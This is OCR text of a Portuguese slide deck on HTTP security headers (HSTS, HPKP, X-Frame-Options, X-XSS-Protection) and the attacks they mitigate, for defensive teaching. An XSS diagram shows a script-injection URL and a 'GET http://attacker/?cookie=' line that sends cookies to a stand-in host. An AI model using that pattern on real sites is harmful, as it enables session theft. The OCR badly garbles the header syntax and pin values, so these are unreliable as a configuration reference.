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Quem sou eu

AConsultor Sénior de Seguranca
A10 anos de trabalhos voltados a seguranca de aplicacdes

AContribuidor OWASP (Capitulo Brasilia, TepCheatsheetOWASP
TestingGuide

APraticante da revelacido de vulnerabilidades de forma responsavel (1)

AVoluntéario ISC2 para questdes do CISSP

APesquisador independente
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Cabecalhos de Seguranca HTTP

AEvolucdo modelo de seguranca

AProtecdo do canal de comunicacéo

ASeguranca do lado do cliente

AAplicacdo de politicas de seguranca no navegador
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Requisicao tipica HTTP

GET/HTTP/1.1

UserAgent:Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRAS&p)IeWebKit537.36
(KHTML, like Gecko) Chrome/57.0.2987.110 Mobile Safari/537.3

Host: www.exemplo.com
Accept */*

HTTP/1.1 200 OK

Date:Fri, 17 Mar 2017 07:45:30 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-PoweredBy. PHP/5.2.2ubuntu5.10

ContentLength 891

ContentType text/ html
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Requisicao tipica HTTP

GET /HTTP/1.1

UserAgent:Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRAS&8pPIeWebKits37.36 (KHTML, like Gecko)
Chrome/57.0.2987.110 Mobile Safari/537.36

Host: www.exemplo.com
Accept */*

HTTP/1.1 200 OK

Date:Fri, 17 Mar 2017 07:45:30 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-PoweredBy. PHP/5.2.£2ubuntu5.10

ContentLength 891

ContentType text/ html
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HT TRStrict TransportSecurity (HSTS)
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Trafego tipico sitio com HTTP/HTTPS

:/lwww.exemplo.com

GET /HTTP/1.0
Host: www.exemplo.com

301 MovedPermantenly
ContentLength O
Location https://www.exemplo.com

:Ilwww.exemplo.com

GET /HTTP/1.0
Host: www.exemplo.com



CONFRARIA[]DAY

SSLStrip

GET 0 :/lwww.exemplo.com mmmmsp < GEThitps://www.exemplo.com ms)

@mm RespostHTMLmodificada N— RespostaHTML
e emtexto claro
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Suporte HSTS

Strict Transport Security

Declare that a website is only accessible over a secure connection
(HTTPS).

Show 3

Android *  Chrome for

Firefox Chrome Safari g iOS Safari Opera Mini Browser Android



http://caniuse.com/#feat=stricttransportsecurity
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HSTS debaixo dos panos

@ Secure https://m.facebook.com/? rdr

plac okmarks here on the narks bar. Impo

Responsive ¥

ork  Timeline

Timing
~ | ¥ General
Request URL: http://www.facebook.com/
Request Method: GET
Status Code: 307 Internal Redirect
Referrer Policy: no-referrer-when-downgrade

¥ Response Headers
Location: https://www.facebook.com/
Non-Authoritative-Reason: HSTS
¥ Request Headers
Provisional headers are shown

Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.@ (Linux; Android 6.@; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.@.2987.11@ Mobile Safari/537.36




CONFRARIA[JDAY

HSTS Consideracoes

- Aplicavebpara sites quesuportamtodo seuconteudovia HTTPS
- Dificuldadede implantacaoL7 routing

- ListapreloadSEMPREcluisubdominios
- Remocapodedemorarmeses viaatualizacaalo browser

- Mitiga ataquesSSLStrip potencialmente SSLStrip2 copreload +
subdomains

- ProtecaocontraataqguesMITM comCertificadosnvalidos
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HT TFPublickey Pins (HPKP)

PublicKeyPins: pirsha256=<base64==>; mage=<xpireTime,
PublicKeyPins: pirsha256=<base64==>; mage=<expireTime;
iIncludeSubDomains

PublicKeyPins: pirsha256=<base64==>; mage=<expireTime,;
report-uri=<eportURp
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Resposta valida cabecalhos HPKP

HTTP/1.1 200 OK

Server: GitHub.com

Status: 200 OK

Strict TransportSecurity:max age—3153600(]ncIudeSubdomainspreIoad

PublicKeyPins:maxage=5184000; :
sha256="WoiWRylOVNa9ihaBciR C7X IhYS9VvwuUGOIud4PB18="; pin
sha256= RRMldanDFsCJXBTHk 16vi1obOl Fynrho="; pin
sha256="k2v657xBsOVe1PQRWOsHsw3bsGT2VzIgz5K+59sN WS— pin
sha256="K870WBWM9UZfyddvDfoxL+8lpNyoUB2ptGtnOfv6 G2 pn
sha256="IQBnNBEIiFuhj +8x6X8XL h01V9Ic5/V3IRQLNFFc7v4=";
sha256="iie1VXtlL /THzAMF+/PVPR9xzT80kQxdZeJ+zduCB340=", p :
sha256="LvRIGEjRgfzurezaWuj8Wie2gyHMrW5Q06L spMnoxiidiatie SubDomains

Vary. AcceptEncoding
X-ServedBy. d41662224d8c44f09604b862e979767a
X-GitHubRequestld: B36F2320:987D:E88A2AC:5741D913
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SuportePublicKey Pins

Global

Public Key Pinning

Declare that a website's HTTPS certificate should only be treated
as valid if the public key is contained in a specified list to prevent

MITM attacks that use valid CA-issued certificates.

e . . ., * Android * Chrome for
i0OS Safari Opera Mini N p .
Browser Android

Firefox Chrome



http://caniuse.com/#feat=publickeypinning
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HTTHPublicKey Pins Consideracoes

- Requematuridade

- Modo report-only (PubliecKeyPinsReportOnly)?
- Mitiga MITM?

- CAinterna?

- SuporteChrome/Firefoxdté o momento)
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Curiosidades (HSTS, HPKP, Pinning estatico)

- Pinningestaticog Chromium.org)

- Google, Facebook, Twitter, Dropbox, Yahoo, Tor
- +23kdominiosutilizandoHSTS préoad
- 180dominios.br


https://cs.chromium.org/chromium/src/net/http/transport_security_state_static.json
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X-FrameOptions

X-FrameQOptions: DENY
X-FrameOptions: SAMEORIGIN
X-FrameOptions: ALLOYFROM nttps://example.com/
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Clickjackind\ttack



https://www.owasp.org/index.php/Testing_for_Clickjacking_(OTG-CLIENT-009)
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Suporte XrrameQOptions

X-Frame-Options HTTP header

Global 3.12% + 81.38% 94.5%

An HTTP header which indicates whether the browser should allow

the webpage to be displayed in a frame within another webpage.
Used as a defense against clickjacking attacks.

Opera i0S Safari " Opera Mini ' A[?dro‘dr " Ci’w‘_oﬁje.fw
Browser Android



http://caniuse.com/#feat=publickeypinning
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X-FrameOptions- Consideracoes

- Seusite necessitaseraberto por outro emum frame?
- Nao suporta mais de um dominio ethow-from

- CSP Zrame-ancestor

- Mitiga clickjacking
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X-XSSProtection

X-XSSProtection: O
X-XSSProtection:1
X-XS&Protection 1; mode=block



CONFRARIA[JDAY

CrossSite Scritping( XSSAttack

Attacker

Attacker's Server

; : 1 1 string(
L innerHTML

Check this out: GET http:ffattacker/?cookie=sensitive-daka
http://website/search?
eyword==scripk>...</script>

Victim's Browser

Website's Response to Vickim After inmerHTML Manipulation

<html=
You searched for: =ems<scripts...</scripts</em>
=sCripts

var keyword = location.search.substring{6);

document.queryselector{ "em” ). innerHTHL = keyword;
= /scripts
<= /html>

h ff EET / h
T - - — top:ffwebsite/search?
Website's Response to Wickim keyword=<scripts...<fscript>
<html= i

b {: searched for: <ems<jems=

«sCripts

war keyword = location.search.substring(&);

document.querySelector{"em” ).innerHTHL = keyword;

<fscript>

=fhtml=




CONFRARIA[]DAY

Suporte XXSSProtection


https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Headers/X-XSS-Protection

